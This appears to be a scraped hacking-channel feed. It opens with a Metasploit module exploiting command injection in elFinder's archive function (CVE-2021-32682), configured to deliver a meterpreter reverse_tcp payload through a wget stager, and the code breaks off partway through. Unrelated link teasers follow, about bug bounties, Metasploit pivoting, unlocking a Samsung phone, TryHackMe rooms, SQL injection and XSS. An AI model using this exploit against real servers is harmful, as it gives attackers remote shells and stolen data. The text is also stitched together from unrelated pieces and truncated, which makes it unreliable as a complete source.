Exploit Collector
elFinder Archive Command Injection


https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

MD5 | 748ee7b37719159b8db8d6bf33aad64b

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'elFinder Archive Command Injection',
'Description' => %q{
elFinder versions below 2.1.59 are vulnerable to a command injection
vulnerability via its archive functionality.

When creating a new zip archive, the `name` parameter is sanitized
with the `escapeshellarg()` php function and then passed to the
`zip` utility. Despite the sanitization, supplying the `-TmTT`
argument as part of the `name` parameter is still permitted and
enables the execution of arbitrary commands as the `www-data` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Chauchefoin', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-32682' ],
[ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]
],
'Platform' => [ 'linux' ],
'Privileged' => false,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Automatic Target',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'wget' ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2021-06-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)

register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_uri
)

return CheckCode::Unknown('Failed to retrieve a response') unless res
re[...]

___________________________
@hacking_Attack
@Hacking_Video

Sending malicious link via HackerOne
https://medium.com/@bruzistico/sending-malicious-link-via-hackerone-c7e968b12715?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

I recently submitted a report to the HackerOne programContinue reading on Medium » (https://medium.com/@bruzistico/sending-malicious-link-via-hackerone-c7e968b12715?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Introducing Immunefi’s Luxury Hoodies
https://medium.com/immunefi/introducing-immunefis-luxury-hoodies-f9f9286520c7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Immunefi, the leading bug bounty platform with the world’s largest bounties, has launched its first luxury hoodie for hackers who find…Continue reading on Immunefi » (https://medium.com/immunefi/introducing-immunefis-luxury-hoodies-f9f9286520c7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Pivoting and portforwarding with Metasploit
https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/

I a pentesting assignment have 3 networks, which I can access only by pivoting, the routes are configured properly since I can run nmap scans from my attacker machine to the third subnet using a socks4a proxy provided by metasploit. I found a vulnerability on a machine in the third subnet and I'm trying different payloads, starting with bind now moving to reverse tcp, which will not work since it needs to be forwarded. But when I use portfwd and configure my attackers ip with -L it will be displayed as the remote ip and vice versa for the remote one. Any suggestions on this and how to configure this right ? submitted by /u/c0nr3f (https://www.reddit.com/user/c0nr3f)
[link] (https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/) [comments] (https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/)

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/ZSSzjU5c2o_X2mvoU2SJ3q081TCGMzyJITjxZqewR9g.jpg So, I've got this today.

Started reading it months ago but didn't want to keep reading it on my phone so I finally bought it.
What I've read until now made me feel really excited to work on this branch.

What about you, fellow redditors? Have you already read this? If so, what did you think? Did you learn anything? Did it improve your mindset? Tell me everything.

​

https://preview.redd.it/o95spfugeon71.jpg?width=3472&format=pjpg&auto=webp&s=1d59e99310d15db4bb815fcd581d1d1ac13bd3cb

submitted by /u/uncannylilbastard
[link] [comments]

hacking: security in practice
The Value of Screwing Around at Work

https://external-preview.redd.it/2a3ZibWw79knQr5FIXMhQd8tS7zymKY5OFs6LvuuonM.jpg?width=640&crop=smart&auto=webp&s=b96f6850f589a825c6248b23e6d3ac166d3ac823 submitted by /u/mad_ned
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Samsung S10 pattern unlock without data loss

so i owned a old s10 now its been like a year and i want to open the phone i forgot my pattern

1.i tried the find my phone bt it failed cause like my remote unlock is disabled so it didnt help

2.i tried using adb bt the debugging is off in my phone

3.i dont know if that samsung care people can reset it without data loss

4.using the sd card method the flash failed i like tried to boot from the sd card using the recovery mode bt it didnt do anything boot failed and it didnt help can someone provide like the good link to the pattern disable zip idk if it will work or not

please help ....

submitted by /u/astrokinng
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Apple Client-Side Scanning Takes A Pause


By Paul Rosenzweig, NSI Advisory Board member

Continue reading on The SCIF »

Hacking on Medium
Internal — Tryhack me


Penetration Testing Challenge (HARD)

Continue reading on Medium »

Hacking on Medium
DuckDAO x Lossless Form New Strategic Partnership


Cyber attacks continuously target platforms and exchanges, thereby tainted the blockchain space’s image, compromising precious user funds…

Continue reading on DuckDAO »

Hacking on Medium
RootMe — TryHackMe


A beginner CaptureTheFlag

Continue reading on Medium »

Hacking on Medium
Microsoft lanza parche para la vulnerabilidad de 0-Day de Windows explotada activamente


PUBLICADO EN 15 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »

Hacking on Medium
Thinking About Simple SQL Injections


About 3 years ago, in 2018, I wrote about some SQL injection in login forms without a quote to break out from string delimiter, in an old…

Continue reading on Medium »

Weaponizing Reflected XSS to Account Takeover
https://pwnsauc3.medium.com/weaponizing-reflected-xss-to-account-takeover-ae8aeea7aca3?source=rss------bug_bounty-5

Hi fellow hunters, this is my first writeup for the community in which i will explain how i found a reflected cross site scripting bug and…Continue reading on Medium » (https://pwnsauc3.medium.com/weaponizing-reflected-xss-to-account-takeover-ae8aeea7aca3?source=rss------bug_bounty-5)